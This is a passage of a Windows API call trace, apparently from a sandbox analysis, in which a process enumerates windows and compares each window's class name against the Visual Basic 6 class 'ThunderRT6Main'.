	[0071.857] GetWindowThreadProcessId (in: hWnd=0x201aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.857] GetWindowLongA (hWnd=0x201aa, nIndex=-16) returned -2080374784
	[0071.857] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0071.857] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0071.857] GetWindow (hWnd=0x201aa, uCmd=0x2) returned 0x1019e
	[0071.857] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.857] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.857] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0071.857] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c
	[0071.857] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="uzbekistan_") returned 11
	[0071.857] lstrcmpA (lpString1="uzbekistan_", lpString2="ThunderRT6Main") returned 1
	[0071.857] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0071.857] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x20206
	[0071.857] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0071.857] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0071.857] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.857] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145
	[0071.857] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4
	[0071.858] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0071.858] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0071.858] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.858] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145
	[0071.858] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10198
	[0071.858] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="trendswindow") returned 12
	[0071.858] lstrcmpA (lpString1="trendswindow", lpString2="ThunderRT6Main") returned 1
	[0071.858] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0071.858] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a
	[0071.858] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.858] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.858] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0071.858] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194
	[0071.858] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Asin_intelligence_cls") returned 21
	[0071.858] lstrcmpA (lpString1="Asin_intelligence_cls", lpString2="ThunderRT6Main") returned -1
	[0071.858] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0071.858] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196
	[0071.858] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.858] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.858] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0071.858] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190
	[0071.858] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="pulseagainstwin") returned 15
	[0071.858] lstrcmpA (lpString1="pulseagainstwin", lpString2="ThunderRT6Main") returned -1
	[0071.858] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0071.858] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192
	[0071.858] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.858] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.858] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0071.858] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018c
	[0071.858] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Mint_wnd") returned 8
	[0071.858] lstrcmpA (lpString1="Mint_wnd", lpString2="ThunderRT6Main") returned -1
	[0071.858] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0071.858] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x1018e
	[0071.858] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.858] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.858] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0071.858] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10188
	[0071.858] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Spokewin") returned 8
	[0071.858] lstrcmpA (lpString1="Spokewin", lpString2="ThunderRT6Main") returned -1
	[0071.858] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0071.858] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x1018a
	[0071.859] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.859] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.859] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0071.859] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x10184
	[0071.859] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Colored_app") returned 11
	[0071.859] lstrcmpA (lpString1="Colored_app", lpString2="ThunderRT6Main") returned -1
	[0071.859] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0071.859] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x10186
	[0071.859] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.859] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.859] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0071.859] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10180
	[0071.859] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Showtimeswnd") returned 12
	[0071.859] lstrcmpA (lpString1="Showtimeswnd", lpString2="ThunderRT6Main") returned -1
	[0071.859] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0071.859] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x20182
	[0071.859] GetClassNameA (in: hWnd=0x20182, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.859] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.859] GetWindowThreadProcessId (in: hWnd=0x20182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0071.859] GetWindow (hWnd=0x20182, uCmd=0x2) returned 0x1017c
	[0071.859] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="architectural_Sweden_utils_win") returned 30
	[0071.859] lstrcmpA (lpString1="architectural_Sweden_utils_win", lpString2="ThunderRT6Main") returned -1
	[0071.859] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0071.859] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e
	[0071.859] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.859] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.859] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0071.859] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178
	[0071.859] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Freeze_Danish_Tropical_win") returned 26
	[0071.859] lstrcmpA (lpString1="Freeze_Danish_Tropical_win", lpString2="ThunderRT6Main") returned -1
	[0071.859] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0071.859] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a
	[0071.859] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.859] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.859] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0071.859] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174
	[0071.859] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="goat_chrome_wnd") returned 15
	[0071.859] lstrcmpA (lpString1="goat_chrome_wnd", lpString2="ThunderRT6Main") returned -1
	[0071.859] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0071.859] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176
	[0071.859] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.860] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.860] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0071.860] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10170
	[0071.860] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="arabiccls") returned 9
	[0071.860] lstrcmpA (lpString1="arabiccls", lpString2="ThunderRT6Main") returned -1
	[0071.860] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0071.860] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x10172
	[0071.860] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.860] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.860] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0071.860] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c
	[0071.860] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="workedwindow") returned 12
	[0071.860] lstrcmpA (lpString1="workedwindow", lpString2="ThunderRT6Main") returned 1
	[0071.860] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0071.860] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e
	[0071.860] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.860] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.860] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0071.860] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10166
	[0071.860] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="fibre_class") returned 11
	[0071.860] lstrcmpA (lpString1="fibre_class", lpString2="ThunderRT6Main") returned -1
	[0071.860] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0071.860] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168
	[0071.860] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.860] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.860] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0071.860] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162
	[0071.860] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ImaginationbrotherFarmers") returned 25
	[0071.860] lstrcmpA (lpString1="ImaginationbrotherFarmers", lpString2="ThunderRT6Main") returned -1
	[0071.860] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0071.860] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164
	[0071.860] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.860] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.860] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0071.860] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e
	[0071.860] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="SloveniamsgidCommanderwindow") returned 28
	[0071.860] lstrcmpA (lpString1="SloveniamsgidCommanderwindow", lpString2="ThunderRT6Main") returned -1
	[0071.860] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0071.860] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160
	[0071.860] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.860] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.861] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0071.861] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10158
	[0071.861] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="specifiedwnd") returned 12
	[0071.861] lstrcmpA (lpString1="specifiedwnd", lpString2="ThunderRT6Main") returned -1
	[0071.861] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0071.861] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x1015a
	[0071.861] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.861] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.861] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0071.861] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x90154
	[0071.861] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="habitsSciencesgates") returned 19
	[0071.861] lstrcmpA (lpString1="habitsSciencesgates", lpString2="ThunderRT6Main") returned -1
	[0071.861] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0071.861] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x10156
	[0071.861] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.861] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.861] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0071.861] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x50118
	[0071.861] GetClassNameA (in: hWnd=0x50118, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="rarely_Pleasure_Museum_") returned 23
	[0071.861] lstrcmpA (lpString1="rarely_Pleasure_Museum_", lpString2="ThunderRT6Main") returned -1
	[0071.861] GetWindowThreadProcessId (in: hWnd=0x50118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0071.861] GetWindow (hWnd=0x50118, uCmd=0x2) returned 0x3010e
	[0071.861] GetClassNameA (in: hWnd=0x3010e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.861] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.861] GetWindowThreadProcessId (in: hWnd=0x3010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0071.861] GetWindow (hWnd=0x3010e, uCmd=0x2) returned 0x20116
	[0071.861] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52
	[0071.861] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1
	[0071.861] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0071.861] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a
	[0071.861] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40
	[0071.861] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1
	[0071.861] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0071.861] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148
	[0071.861] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18
	[0071.861] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1
	[0071.861] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0071.861] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e
	[0071.861] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12
	[0071.861] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1
	[0071.861] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0071.862] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132
	[0071.862] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16
	[0071.862] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1
	[0071.862] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0071.862] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134
	[0071.862] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.862] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.862] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0071.862] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a
	[0071.862] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20
	[0071.862] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1
	[0071.862] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0071.862] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c
	[0071.862] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.862] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.862] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0071.862] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120
	[0071.862] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15
	[0071.862] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1
	[0071.862] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0071.862] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122
	[0071.862] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.862] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.862] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0071.862] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e
	[0071.862] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0071.862] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0071.862] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0071.862] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0
	[0071.862] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0071.862] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0071.862] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.862] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae
	[0071.862] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43
	[0071.862] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1
	[0071.862] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.862] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0
	[0071.862] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24
	[0071.862] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1
	[0071.862] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.863] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4
	[0071.863] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0071.863] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0071.863] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.863] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc
	[0071.863] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0071.863] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0071.863] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.863] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca
	[0071.863] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0071.863] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0071.863] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.863] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0
	[0071.863] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0071.863] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0071.863] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.863] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018
	[0071.863] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8
	[0071.863] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1
	[0071.863] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0071.863] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a
	[0071.863] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.863] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.863] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0071.863] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c
	[0071.863] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22
	[0071.863] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1
	[0071.863] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0071.863] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016
	[0071.863] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.863] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.863] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0071.863] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2
	[0071.863] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21
	[0071.863] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0071.863] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0071.863] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108
	[0071.863] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.863] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
